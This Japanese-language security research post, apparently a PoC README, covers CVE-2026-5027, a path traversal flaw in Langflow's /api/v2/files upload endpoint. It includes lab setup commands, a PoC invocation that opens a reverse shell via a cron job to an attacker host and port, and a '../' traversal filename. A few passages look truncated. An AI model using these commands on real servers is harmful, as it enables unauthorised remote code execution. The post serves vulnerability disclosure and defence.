
Langflow における、パストラバーサルを介した Cron ジョブインジェクションによるリモートコード実行 (RCE)
この投稿は EQSTLab が公開した研究記事です。
この脆弱性を報告・分析した Yahia Hamza に感謝します。
★ CVE-2026-5027 Langflow パストラバーサル / 任意ファイル書き込み PoC ★

CVE-2026-5027 : Langflow 任意ファイル書き込みの脆弱性
説明: Langflow <= 1.8.4 のパストラバーサル脆弱性により、攻撃者は /api/v2/files エンドポイントに送信する細工された multipart の filename を介して、意図されたアップロードディレクトリの外に任意のファイルを書き込むことができます。自動ログインが有効な環境、または認証の強制が弱い環境では、この問題を悪用して攻撃者が制御するコンテンツを機密性の高いファイルシステム上の場所に書き込むことで、リモートコード実行を達成できる可能性があります。
Docker を使用して脆弱な環境をビルド・実行します:
docker build -t cve-2026-5027 .
docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027
# Proof of concept (writes test file to /tmp/)
python3 CVE-2026-5027.py -t <TARGET>
# Reverse shell via cron job
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444
脆弱性のあるエンドポイント
POST /api/v2/files
この問題は、アップロード機能がクライアントから提供された multipart の filename 値を信頼しているために発生します。安全なサーバー側のストレージ名を生成したり、解決されたパスを専用のアップロードディレクトリに制限したりする代わりに、脆弱なコードパスでは ../ などのトラバーサルシーケンスが最終的な保存先パスに影響を与えることを許します。
その結果、攻撃者は意図されたストレージのルートから脱出し、アプリケーションにサーバーファイルシステム上の任意の場所へファイルを書き込ませることができます。
代表的な悪用フローは以下のとおりです:
/api/v2/files に multipart アップロードリクエストを送信する。filename を指定する。これは根本的に CWE-22: パス名の制限されたディレクトリへの不適切な制限 の問題です。
このセキュリティ上の欠陥は、アップロード処理中にユーザーが制御するファイルパスのサニタイズと検証が不十分であることに起因します。アプリケーションはクライアントから送信された元のファイル名を受け入れ、パスの正規化と封じ込めを適切に実施せずにストレージワークフローへ渡します。
防御的な観点では、この危険なパターンは概念的に以下のコードと似ています:
save_path = base_dir / file.filename
file.filename に次のようなパストラバーサル要素が含まれる場合:
../../../../tmp/poc.txt
最終的に解決されたパスが base_dir の外を指す可能性があり、任意のファイル書き込みが可能になります。
任意のファイル書き込みの脆弱性は、攻撃者がファイルの内容だけでなく保存先パスも制御できるため、通常の無制限アップロードの問題よりも深刻になることがよくあります。Langflow プロセスの実行時権限によっては、以下が可能になる場合があります:
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Obtain access token
| or abuse auto-login
v
+-------------------------------------------+
| Langflow /api/v2/files |
+-------------------------------------------+
|
| Crafted multipart filename
| (../ directory traversal)
v
+-------------------------------------------+
| Arbitrary File Write (Outside Upload Dir) |
+-------------------------------------------+
|
| Write to sensitive location
v
+-------------------------------------------+
| Potential Remote Code Execution |
+-------------------------------------------+
このリポジトリは、Langflow インスタンスに対する不正な悪用を助長することを意図したものではありません。このプロジェクトの目的は、セキュリティ研究者、防御者、開発者がこの脆弱性を理解し、管理された環境で曝露を検証し、効果的な緩和策を適用できるよう支援することです。
https://www.tenable.com/security/research/tra-2026-26
https://www.cve.org/CVERecord?id=CVE-2026-5027